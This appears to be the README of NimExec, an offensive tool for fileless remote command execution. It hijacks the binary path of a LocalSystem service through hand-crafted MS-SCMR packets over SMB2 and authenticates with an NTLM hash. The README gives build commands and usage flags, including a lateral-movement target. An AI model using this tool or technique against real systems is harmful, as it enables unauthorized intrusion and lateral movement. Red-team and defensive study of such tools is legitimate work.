NimExec
Basically, NimExec is a fileless remote command execution tool that uses The Service Control Manager Remote Protocol (MS-SCMR). It changes the binary path of a random or given service run by LocalSystem to execute the given command on the target and restores it later via hand-crafted RPC packets instead of WinAPI calls. It sends these packages over SMB2 and the svcctl named pipe.
NimExec needs an NTLM hash to authenticate to the target machine and then completes this authentication process with the NTLM Authentication method over hand-crafted packages.
Since all required network packages are manually crafted and no operating system-specific functions are used, NimExec can be used in different operating systems by using Nim’s cross-compilability support.
Install
git clone https://github.com/frkngksl/NimExec.git
nim c -d:release –gc:markAndSweep -o:NimExec.exe Main.nim
The above command uses a different Garbage Collector because the default garbage collector in Nim is throwing some SIGSEGV errors during the service searching process.
Also, you can install the required Nim modules via Nimble with the following command:
nimble install ptr_math nimcrypto hostname
Usage
-v | --verbose Enable more verbose output.
-u | --username <Username> Username for NTLM Authentication.*
-h | --hash <NTLM Hash> NTLM password hash for NTLM Authentication.*
-t | --target <Target> Lateral movement target.*
-c | --command <Command> Command to execute.*
-d | --domain <Domain> Domain name for NTLM Authentication.
-s | --service <Service Name> Name of the service instead of a random one.
--help Show the help message.
